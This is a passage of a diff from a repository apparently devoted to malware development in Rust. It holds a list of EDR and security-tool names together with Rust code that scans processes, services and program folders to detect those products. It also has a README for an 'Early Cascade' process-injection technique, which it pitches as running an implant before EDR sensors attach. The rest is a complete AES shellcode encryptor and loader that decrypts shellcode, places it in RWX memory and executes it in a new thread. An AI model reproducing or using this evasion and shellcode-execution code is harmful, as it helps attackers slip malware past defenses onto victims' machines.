"trend micro",
"uptycs",
"vectra",
"watchguard",
"wincollect",
"windowssensor",
"wireshark",
"withsecure",
"xagt.exe",
"xagtnotif.exe"
];
use std::process::Command;
use std::fs;
use regex::Regex;
fn check_edr() -> Result<(), Box<dyn std::error::Error>> {
let edr_regex = Regex::new(&format!("(?i)({})", EDR_LIST.join("|")))?;
let output = Command::new("wmic").args(&["process", "get", "name"]).output()?;
if let Ok(processes) = String::from_utf8(output.stdout) {
for line in processes.lines() {
if edr_regex.is_match(line) {
println!("[-] Suspicious process found: {}", line);
}
}
}
let output = Command::new("wmic").args(&["service", "get", "name"]).output()?;
if let Ok(services) = String::from_utf8(output.stdout) {
for line in services.lines() {
if edr_regex.is_match(line) {
println!("[-] Suspicious service found: {}", line);
}
}
}
for dir in &["C:\\Program Files", "C:\\Program Files (x86)", "C:\\ProgramData"] {
if let Ok(entries) = fs::read_dir(dir) {
for entry in entries {
if let Ok(entry) = entry {
if let Some(name) = entry.file_name().to_str() {
if edr_regex.is_match(name) {
println!("[-] Suspicious file found in {}: {}", dir, name);
}
}
}
}
}
}
Ok(())
}
fn main() -> Result<(), Box<dyn std::error::Error>>{
check_edr()?;
Ok(())
}
+18
View File
@@ -0,0 +1,18 @@
## Early Cascade Injection
Welcome to the **Early Cascade Injection** directory of [`Rust-for-Malware-Development`](https://github.com/Whitecat18/Rust-for-Malware-Development).
Early Cascade is a user-mode process-injection technique that hijacks a brand-new process *while it is still loading*, before any EDR user-mode sensors finish attaching. Your code runs ahead of the watchdogs instead of next to them.
## Sections & Links
- [earlycascade-injection](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/Early%20Cascade%20Injection/earlycascade-injection):
Rust implementation of the Early Cascade injection technique. Creates a suspended target, patches a structure the loader will touch during early initialization, then resumes — execution detours into the implant before EDR DLLs are mapped.
## How to Use
```bash
git clone https://github.com/Whitecat18/Rust-for-Malware-Development.git
cd Rust-for-Malware-Development/Early\ Cascade\ Injection
```
The sub-folder is a standard Cargo project. Build with `cargo build --release`.
@@ -0,0 +1,10 @@
[package]
name = "Aes_Encryption"
version = "0.1.0"
edition = "2021"
[dependencies]
winapi = { version = "0.3.9", features = ["memoryapi", "processthreadsapi", "synchapi", "errhandlingapi", "handleapi"] }
libaes = "0.7.0"
rand = "0.9.0"
@@ -0,0 +1,14 @@
### AES Shellcode Encryptor
Simple AES Tool to Perform AES Encryption.
Options:-
1. Generate Key and iv Value for Encryption
2. Encrypt .bin shellcode file
3. Decrypt AES using key & iv and execute the shellcode !
CREDITS / REFERENCES
[@5mukx](https://x.com/5mukx)
Binary file not shown.
@@ -0,0 +1,191 @@
use rand::RngCore;
use libaes::Cipher;
use std::fs;
use std::io::{self, Write};
use std::ptr::null_mut;
use winapi::um::{
errhandlingapi::GetLastError,
handleapi::CloseHandle,
memoryapi::VirtualAlloc,
processthreadsapi::{CreateThread, ResumeThread},
synchapi::WaitForSingleObject,
};
// Macros for output
macro_rules! okey {
($msg:expr, $($arg:expr), *) => {
println!("\\____[+] {}", format!($msg, $($arg), *));
}
}
macro_rules! error {
($msg:expr, $($arg:expr), *) => {
println!("\\____[-] {}", format!($msg, $($arg), *));
println!("Exiting...");
std::process::exit(0);
}
}
// Generate random AES key and IV
fn generate_key() -> [u8; 32] {
let mut key = [0u8; 32];
rand::rng().fill_bytes(&mut key);
key
}
fn generate_iv() -> [u8; 16] {
let mut iv = [0u8; 16];
rand::rng().fill_bytes(&mut iv);
iv
}
// Encrypt shellcode from bin file
fn encrypt_shellcode(filepath: &str, key: &[u8; 32], iv: &[u8; 16]) -> Vec<u8> {
let shellcode = fs::read(filepath).expect("Failed to read shellcode file");
let cipher = Cipher::new_256(key);
let ciphertext = cipher.cbc_encrypt(iv, &shellcode);
ciphertext
}
// Decrypt shellcode and execute
fn decrypt_and_execute(ciphertext: Vec<u8>, key: &[u8; 32], iv: &[u8; 16]) {
let cipher = Cipher::new_256(key);
let decrypted = cipher.cbc_decrypt(iv, &ciphertext);
println!("Decrypt Success. Now using the shellcode to execute");
println!("Decrypted Shellcode: {:?}", decrypted);
println!("....");
unsafe {
let address = VirtualAlloc(
null_mut(),
decrypted.len(),
0x1000 | 0x2000, // MEM_COMMIT | MEM_RESERVE
0x40, // PAGE_EXECUTE_READWRITE
);
if address.is_null() {
error!("Failed to Allocate Memory: {}", GetLastError());
}
okey!("VirtualAlloc: {:?}", address);
std::ptr::copy(decrypted.as_ptr(), address as *mut u8, decrypted.len());
let hthread = CreateThread(
null_mut(),
0,
std::mem::transmute(address),
null_mut(),
0x00000004, // CREATE_SUSPEND
null_mut(),
);
if hthread.is_null() {
error!("Failed to create Thread :{:?}", GetLastError());
}
okey!("Thread Addr: {:?}", hthread);
ResumeThread(hthread);
okey!("Executed Shellcode ...{}", "!");
WaitForSingleObject(hthread, 0xFFFFFFFF);
CloseHandle(hthread);
}
}
fn main() {
let args: Vec<String> = std::env::args().collect();
if args.len() < 2 {
println!("Simple AES-Tool By @5mukx");
println!("Usage: {} <shellcode.bin> <option>", args[0]);
println!("Options: ");
println!("1 - Generate key and IV");
println!("2 - Encrypt shellcode");
println!("3 - Decrypt and execute shellcode");
return;
}
let filepath = &args[1];
let option = args.get(2).unwrap_or(&"0".to_string()).parse::<u32>().unwrap_or(0);
match option {
1 => {
let key = generate_key();
let iv = generate_iv();
println!("Generated AES Key: {:?}", key);
println!("Generated IV: {:?}", iv);
}
2 => {
print!("Enter AES Key (32 bytes as hex, comma-separated): ");
io::stdout().flush().unwrap();
let mut key_input = String::new();
io::stdin().read_line(&mut key_input).unwrap();
let key: Vec<u8> = key_input.trim()
.split(',')
.map(|x| x.trim().parse::<u8>().unwrap())
.collect();
let key: [u8; 32] = key.try_into().expect("Key must be 32 bytes");
println!("\n");
print!("Enter IV (16 bytes as hex, comma-separated): ");
io::stdout().flush().unwrap();
let mut iv_input = String::new();
io::stdin().read_line(&mut iv_input).unwrap();
let iv: Vec<u8> = iv_input.trim()
.split(',')
.map(|x| x.trim().parse::<u8>().unwrap())
.collect();
let iv: [u8; 16] = iv.try_into().expect("IV must be 16 bytes");
let encrypted = encrypt_shellcode(filepath, &key, &iv);
println!("\n");
println!("Encrypted Shellcode: {:?}", encrypted);
}
3 => {
print!("Enter Encrypted Shellcode (comma-separated bytes): ");
io::stdout().flush().unwrap();
let mut cipher_input = String::new();
io::stdin().read_line(&mut cipher_input).unwrap();
let ciphertext: Vec<u8> = cipher_input.trim()
.split(',')
.map(|x| x.trim().parse::<u8>().unwrap())
.collect();
println!();
print!("Enter AES Key (32 bytes as hex, comma-separated): ");
io::stdout().flush().unwrap();
let mut key_input = String::new();
io::stdin().read_line(&mut key_input).unwrap();
let key: Vec<u8> = key_input.trim()
.split(',')
.map(|x| x.trim().parse::<u8>().unwrap())
.collect();
let key: [u8; 32] = key.try_into().expect("Key must be 32 bytes");
println!();
print!("Enter IV (16 bytes as hex, comma-separated): ");
io::stdout().flush().unwrap();
let mut iv_input = String::new();
io::stdin().read_line(&mut iv_input).unwrap();
let iv: Vec<u8> = iv_input.trim()
.split(',')
.map(|x| x.trim().parse::<u8>().unwrap())
.collect();
let iv: [u8; 16] = iv.try_into().expect("IV must be 16 bytes");
decrypt_and_execute(ciphertext, &key, &iv);
}
_ => println!("Invalid option. Use 1, 2, or 3."),
}
}
@@ -0,0 +1 @@
/target
@@ -0,0 +1,8 @@
[package]
name = "Khufu_encryption"
version = "0.1.0"
edition = "2021"
[dependencies]
rand = "0.8.5"
winapi = {version = "0.3.9", features = ["memoryapi", "winuser", "minwindef"]}

Some files were not shown because too many files have changed in this diff Show More